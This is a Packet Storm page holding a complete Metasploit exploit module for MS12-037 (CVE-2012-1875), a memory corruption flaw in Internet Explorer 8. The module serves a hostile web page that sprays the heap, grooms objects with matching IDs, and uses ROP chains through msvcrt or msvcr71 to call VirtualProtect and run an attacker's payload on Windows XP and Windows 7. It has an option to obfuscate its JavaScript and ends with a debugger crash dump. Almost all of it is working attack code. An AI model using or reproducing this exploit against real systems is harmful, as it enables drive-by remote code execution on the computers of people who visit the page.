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packetstormJuan vazquezPACKETSTORM:113682
HistoryJun 14, 2012 - 12:00 a.m.

MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption

2012-06-1400:00:00
juan vazquez
packetstormsecurity.com
29

0.971 High

EPSS

Percentile

99.7%

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption",  
'Description' => %q{  
This module exploits a memory corruption flaw in Internet Explorer 8 when  
handling objects with the same ID property. At the moment this module targets  
IE8 over Windows XP SP3 through the heap massaging plus heap spray as exploited  
in the wild.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Dark Son ', # Vulnerability discovery  
'Qihoo 360 Security Center', # Vulnerability discovery  
'Yichong Lin', # Vulnerability discovery  
'Google Inc.', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'MSB', 'MS12-037'],  
[ 'CVE', '2012-1875' ],  
[ 'OSVDB', '82865'],  
[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/ongoing-attacks-exploiting-cve-2012-1875/'],  
[ 'URL', 'https://twitter.com/binjo/status/212795802974830592' ] # Exploit found in the wild  
],  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
'DisableNops' => true  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[  
'IE 8 on Windows XP SP3 with msvcrt ROP',  
{  
'Rop' => :msvcrt,  
'RopOffset' => '0x5f4',  
'Ret' => 0x77c15ed5 # xchg eax, esp # ret # from msvcrt.dll  
}  
],  
[  
'IE 8 on Windows XP SP3 with JRE ROP',  
{  
'Rop' => :jre,  
'RopOffset' => '0x5f4',  
'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll  
}  
],  
[  
'IE 8 on Windows 7 SP1 with JRE ROP',  
{  
'Rop' => :jre,  
'RopOffset' => '0x5f4',  
'Ret' => 0x7c348b05 # xchg eax, esp # ret # from msvcr71.dll  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => "Jun 12 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])  
], self.class)  
  
end  
  
def get_target(agent)  
# If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
if agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/  
#Windows XP SP3 + IE 8.0  
return targets[1]  
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/  
#Windows 7 SP1 + IE 8.0  
return targets[3]  
else  
return nil  
end  
end  
  
def junk(n=4)  
return rand_text_alpha(n).unpack("V").first  
end  
  
def nop  
return make_nops(4).unpack("V").first  
end  
  
def ret(t)  
case t['Rop']  
when :msvcrt  
return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll  
when :jre  
return [ 0x7c347f98 ].pack("V") # RETN (ROP NOP) # msvcr71.dll  
end  
end  
  
def popret(t)  
case t['Rop']  
when :msvcrt  
return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll  
when :jre  
return [ 0x7c376541 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcr71.dll  
end  
end  
  
def get_rop_chain(t)  
  
adjust = ret(t) * 27  
adjust << popret(t)  
adjust << [t.ret].pack("V") # stackpivot  
  
# Both ROP chains generated by mona.py - See corelan.be  
case t['Rop']  
when :msvcrt  
print_status("Using msvcrt ROP")  
rop =  
[  
0x77c4e392, # POP EAX # RETN  
0x77c11120, # <- *&VirtualProtect()  
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN  
junk,  
0x77c2dd6c,  
0x77c4ec00, # POP EBP # RETN  
0x77c35459, # ptr to 'push esp # ret'  
0x77c47705, # POP EBX # RETN  
0x00001000, # EBX  
0x77c3ea01, # POP ECX # RETN  
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)  
0x77c46100, # POP EDI # RETN  
0x77c46101, # ROP NOP (-> edi)  
0x77c4d680, # POP EDX # RETN  
0x00000040, # newProtect (0x40) (-> edx)  
0x77c4e392, # POP EAX # RETN  
nop, # NOPS (-> eax)  
0x77c12df9, # PUSHAD # RETN  
].pack("V*")  
  
when :jre  
print_status("Using JRE ROP")  
rop =  
[  
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN  
0x00001000, # (dwSize)  
0x7c347f98, # RETN (ROP NOP)  
0x7c3415a2, # JMP [EAX]  
0xffffffff,  
0x7c376402, # skip 4 bytes  
0x7c345255, # INC EBX # FPATAN # RETN  
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN  
0x7c344f87, # POP EDX # RETN  
0x00000040, # flNewProtect  
0x7c34d201, # POP ECX # RETN  
0x7c38b001, # &Writable location  
0x7c347f97, # POP EAX # RETN  
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]  
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN  
0x7c345c30, # ptr to 'push esp # ret '  
].pack("V*")  
end  
  
code = adjust  
code << rop  
return code  
  
end  
  
def on_request_uri(cli, request)  
  
agent = request.headers['User-Agent']  
my_target = get_target(agent)  
  
# Avoid the attack if the victim doesn't have the same setup we're targeting  
if my_target.nil?  
print_error("Browser not supported: #{agent}")  
send_not_found(cli)  
return  
end  
  
print_status("Client requesting: #{request.uri}")  
  
p = payload.encoded  
  
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))  
js_padding = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(my_target.arch))  
js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch))  
js_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))  
  
js_spray = <<-JS  
var heap_obj = new heapLib.ie(0x20000);  
var code = unescape("#{js_code}");  
var rop_chain = unescape("#{js_rop}");  
var random = unescape("#{js_padding}");  
var nops = unescape("#{js_nops}");  
  
while (random.length < 0x80000) random += random;  
while (nops.length < 0x80000) nops += nops;  
  
var padding = random.substring(0, #{my_target['RopOffset']}-code.length);  
var shellcode = code + padding + rop_chain + nops.substring(0, 0x800-code.length-padding.length-rop_chain.length);  
  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
  
heap_obj.gc();  
for (var z=1; z < 0x385; z++) {  
heap_obj.alloc(block);  
}  
JS  
  
js_spray = heaplib(js_spray, {:noobfu => true})  
  
trigger_f = "trigger"  
feng_shui_f = "feng_shui"  
crash_f = "crash"  
unescape_f = "do_unescape"  
main_f = "main"  
a_id = "MyA"  
danger_id = "imgTest"  
  
if datastore['OBFUSCATE']  
js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)  
js_spray.obfuscate  
  
trigger_f = rand_text_alpha(rand(5) + 4)  
feng_shui_f = rand_text_alpha(rand(5) + 4)  
crash_f = rand_text_alpha(rand(5) + 4)  
unescape_f = rand_text_alpha(rand(5) + 4)  
main_f = rand_text_alpha(rand(5) + 4)  
a_id = rand_text_alpha(rand(5) + 4)  
danger_id = rand_text_alpha(rand(5) + 4)  
end  
  
html = %Q|  
<HTML>  
<BODY>  
<title></title>  
<DIV id=testfaild>  
<img id="#{danger_id}" style="display:none">  
<a href="javascript:#{feng_shui_f}();" id="#{a_id}" onClick="#{feng_shui_f}();">  
<div style="background-color:#FFFFFF; width:30; height:40" id="#{danger_id}" src="" onMouseOver="#{crash_f}();" onMouseOut="#{crash_f}();">  
</div>  
</a>  
</DIV>  
<SCRIPT LANGUAGE="JavaScript">  
function #{unescape_f}(dword) {  
var t = unescape;  
var d = Number(dword).toString(16);  
while (d.length < 8) d = '0' + d;  
return t('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));  
}  
function #{feng_shui_f}() {  
var tag = 0x1c1c1c0c;  
var vtable1 = #{unescape_f}(tag) + '1234567555555555588888888';  
var divs = new Array();  
for (var i = 0; i < 128; i++) divs.push(document.createElement('div'));  
testfaild.innerHTML = testfaild.innerHTML;  
divs[0].className = vtable1;  
divs[1].className = vtable1;  
divs[2].className = vtable1;  
divs[3].className = vtable1;  
}  
function #{crash_f}() {  
eval("#{danger_id}").src = "";  
}  
function #{trigger_f}() {  
var x = document.getElementsByTagName("div");  
var fireOnThis = document.getElementById("#{a_id}");  
if (document.createEvent) {  
evObj = document.createEvent('MouseEvents');  
evObj.iniEvent('click', true, false);  
fireOnThis.dispatchEvent(evObj);  
} else if (document.createEventObject) {  
x[1].fireEvent('onMouseOver');  
fireOnThis.fireEvent('onclick');  
x[1].fireEvent('onMouseOut');  
}  
}  
function #{main_f}() {  
  
#{js_spray}  
setTimeout("#{trigger_f}();", 1000);  
  
}  
#{main_f}();  
</SCRIPT>  
</BODY>  
</HTML>  
|  
  
html = html.gsub(/^\t\t\t/, '')  
  
print_status("Sending html")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
end  
  
end  
  
  
=begin  
* crash  
(a9c.998): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
*** ERROR: Symbol file could not be found. Defaulted to export  
symbols for C:\WINDOWS\system32\mshtml.dll -  
eax=1c1c1c0c ebx=00000000 ecx=02fdf588 edx=00000001 esi=02fdf588 edi=020bbaf0  
eip=6363fcc6 esp=020bba88 ebp=020bba94 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
mshtml!DllGetClassObject+0xafd09:  
6363fcc6 8b5070 mov edx,dword ptr [eax+70h]  
ds:0023:1c1c1c7c=????????  
=end`

0.971 High

EPSS

Percentile

99.7%

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